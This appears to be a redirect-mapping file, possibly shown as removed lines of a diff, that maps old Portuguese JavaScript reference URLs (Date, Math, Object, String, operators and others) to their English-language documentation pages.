-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getUTCMonth /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getUTCSeconds /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/getYear /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getYear
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/now /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/now
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/parse /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/parse
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setDate /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setDate
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setFullYear /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setFullYear
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setHours /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setHours
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setMilliseconds /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setMinutes /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setMinutes
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setMonth /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setMonth
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setSeconds /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setSeconds
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setTime /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setTime
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setUTCDate /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setUTCDate
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setUTCFullYear /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setUTCHours /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setUTCHours
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setUTCMilliseconds /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setUTCMinutes /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setUTCMonth /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setUTCSeconds /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/setYear /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/setYear
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toDateString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toDateString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toGMTString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toGMTString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toISOString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toISOString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toJSON /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toJSON
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toLocaleDateString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toLocaleString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toLocaleTimeString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toSource
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toTimeString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toTimeString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/toUTCString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toUTCString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Date/valueOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/valueOf
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Error /en-US/docs/Web/JavaScript/Reference/Global_Objects/Error
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Error/Stack /en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/Stack
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Error/message /en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/message
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Error/name /en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/name
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Error/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/Error
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Error/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/toSource
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Error/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/toString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/EvalError /en-US/docs/Web/JavaScript/Reference/Global_Objects/EvalError
-/pt-PT/docs/JavaScript/Referência/Global_Objects/EvalError/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/EvalError
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Function /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/apply /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/arguments /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/arguments
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/bind /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/call /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/caller /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/caller
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/constructor /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/length /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/length
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/name /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/name
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/toSource
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Function/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/toString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Generator /en-US/docs/Web/JavaScript/Reference/Global_Objects/Generator
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Infinity /en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity
-/pt-PT/docs/JavaScript/Referência/Global_Objects/JSON /en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON
-/pt-PT/docs/JavaScript/Referência/Global_Objects/JSON/parse /en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse
-/pt-PT/docs/JavaScript/Referência/Global_Objects/JSON/stringify /en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/E /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/E
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/LN10 /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/LN10
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/LN2 /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/LN2
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/LOG10E /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/LOG10E
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/LOG2E /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/LOG2E
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/PI /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/PI
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/SQRT1_2 /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/SQRT2 /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/SQRT2
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/abs /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/abs
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/acos /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/acos
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/asin /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/asin
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/atan /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/atan
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/atan2 /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/atan2
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/ceil /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/ceil
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/cos /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/cos
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/exp /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/exp
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/floor /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/log /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/log
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/max /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/min /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/pow /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/random /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/round /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/round
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/sin /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sin
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/sqrt /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Math/tan /en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/tan
-/pt-PT/docs/JavaScript/Referência/Global_Objects/NaN /en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Number /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/MAX_VALUE /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/MIN_VALUE /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/NEGATIVE_INFINITY /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/NaN /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/NaN
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/POSITIVE_INFINITY /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/constructor /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/toExponential /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toExponential
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/toFixed /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toFixed
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/toPrecision /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toPrecision
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toSource
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Number/valueOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/valueOf
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/constructor /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/create /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/defineGetter /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/defineProperties /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/defineProperty /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/defineSetter /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/freeze /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/getOwnPropertyDescriptor /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/getOwnPropertyNames /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/hasOwnProperty /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/isExtensible /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isExtensible
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/isFrozen /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isFrozen
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/isPrototypeOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/isSealed /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isSealed
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/keys /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/lookupGetter /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/__lookupGetter__
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/lookupSetter /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/__lookupSetter__
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/preventExtensions /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/propertyIsEnumerable /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/proto /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/seal /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/seal
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/toLocaleString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toLocaleString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toSource
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Object/valueOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf
-/pt-PT/docs/JavaScript/Referência/Global_Objects/Proxy /en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy
-/pt-PT/docs/JavaScript/Referência/Global_Objects/RangeError /en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError
-/pt-PT/docs/JavaScript/Referência/Global_Objects/RangeError/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError
-/pt-PT/docs/JavaScript/Referência/Global_Objects/ReferenceError /en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError
-/pt-PT/docs/JavaScript/Referência/Global_Objects/ReferenceError/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError
-/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp
-/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/constructor /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp
-/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/exec /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec
-/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/global /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/global
-/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/ignoreCase /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase
-/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/lastIndex /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex
-/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/multiline /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/multiline
-/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp
-/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/source /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/source
-/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/test /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test
-/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/toSource
-/pt-PT/docs/JavaScript/Referência/Global_Objects/RegExp/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/toString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String /en-US/docs/Web/JavaScript/Reference/Global_Objects/String
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/Trim /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/Trim
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/TrimLeft /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/trimStart
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/TrimRight /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/trimEnd
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/anchor /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/anchor
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/big /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/big
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/blink /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/blink
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/bold /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/bold
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/charAt /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/charAt
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/charCodeAt /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/charCodeAt
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/concat /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/concat
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/constructor /en-US/docs/Web/JavaScript/Reference/Global_Objects/String
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/fixed /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/fixed
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/fontcolor /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/fontcolor
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/fontsize /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/fontsize
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/fromCharCode /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/fromCharCode
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/indexOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/italics /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/italics
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/lastIndexOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/lastIndexOf
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/length /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/link /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/link
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/localeCompare /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/localeCompare
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/match /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/String
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/replace /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/search /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/search
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/slice /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/slice
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/small /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/small
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/split /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/strike /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/strike
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/sub /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/sub
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/substr /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/substring /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substring
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/sup /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/sup
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/toLocaleLowerCase /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toLocaleLowerCase
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/toLocaleUpperCase /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toLocaleUpperCase
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/toLowerCase /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toLowerCase
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/toSource /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toSource
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/toString /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toString
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/toUpperCase /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toUpperCase
-/pt-PT/docs/JavaScript/Referência/Global_Objects/String/valueOf /en-US/docs/Web/JavaScript/Reference/Global_Objects/String/valueOf
-/pt-PT/docs/JavaScript/Referência/Global_Objects/SyntaxError /en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError
-/pt-PT/docs/JavaScript/Referência/Global_Objects/SyntaxError/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError
-/pt-PT/docs/JavaScript/Referência/Global_Objects/TypeError /en-US/docs/Web/JavaScript/Reference/Global_Objects/TypeError
-/pt-PT/docs/JavaScript/Referência/Global_Objects/TypeError/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/TypeError
-/pt-PT/docs/JavaScript/Referência/Global_Objects/URIError /en-US/docs/Web/JavaScript/Reference/Global_Objects/URIError
-/pt-PT/docs/JavaScript/Referência/Global_Objects/URIError/prototype /en-US/docs/Web/JavaScript/Reference/Global_Objects/URIError
-/pt-PT/docs/JavaScript/Referência/Global_Objects/WeakMap /en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap
-/pt-PT/docs/JavaScript/Referência/Global_Objects/decodeURI /en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURI
-/pt-PT/docs/JavaScript/Referência/Global_Objects/decodeURIComponent /en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURIComponent
-/pt-PT/docs/JavaScript/Referência/Global_Objects/encodeURI /en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI
-/pt-PT/docs/JavaScript/Referência/Global_Objects/encodeURIComponent /en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent
-/pt-PT/docs/JavaScript/Referência/Global_Objects/eval /en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
-/pt-PT/docs/JavaScript/Referência/Global_Objects/isFinite /en-US/docs/Web/JavaScript/Reference/Global_Objects/isFinite
-/pt-PT/docs/JavaScript/Referência/Global_Objects/isNaN /en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN
-/pt-PT/docs/JavaScript/Referência/Global_Objects/parseFloat /en-US/docs/Web/JavaScript/Reference/Global_Objects/parseFloat
-/pt-PT/docs/JavaScript/Referência/Global_Objects/parseInt /en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt
-/pt-PT/docs/JavaScript/Referência/Global_Objects/undefined /en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined
-/pt-PT/docs/JavaScript/Referência/Operators /en-US/docs/Web/JavaScript/Reference/Operators
-/pt-PT/docs/JavaScript/Referência/Operators/Arithmetic_Operators /en-US/docs/Web/JavaScript/Reference/Operators
-/pt-PT/docs/JavaScript/Referência/Operators/Assignment_Operators /en-US/docs/Web/JavaScript/Reference/Operators#Assignment_operators
-/pt-PT/docs/JavaScript/Referência/Operators/Bitwise_Operators /en-US/docs/Web/JavaScript/Reference/Operators
-/pt-PT/docs/JavaScript/Referência/Operators/Comparison_Operators /en-US/docs/Web/JavaScript/Reference/Operators
-/pt-PT/docs/JavaScript/Referência/Operators/Logical_Operators /en-US/docs/Web/JavaScript/Reference/Operators
-/pt-PT/docs/JavaScript/Referência/Operators/Member_Operators /en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors
-/pt-PT/docs/JavaScript/Referência/Operators/Operator_Precedence /en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence
-/pt-PT/docs/JavaScript/Referência/Operators/Special/Comma_Operator /en-US/docs/Web/JavaScript/Reference/Operators/Comma_Operator
-/pt-PT/docs/JavaScript/Referência/Operators/Special/Conditional_Operator /en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator
-/pt-PT/docs/JavaScript/Referência/Operators/Special/delete /en-US/docs/Web/JavaScript/Reference/Operators/delete
-/pt-PT/docs/JavaScript/Referência/Operators/Special/function /en-US/docs/Web/JavaScript/Reference/Operators/function
-/pt-PT/docs/JavaScript/Referência/Operators/Special/get /en-US/docs/Web/JavaScript/Reference/Functions/get
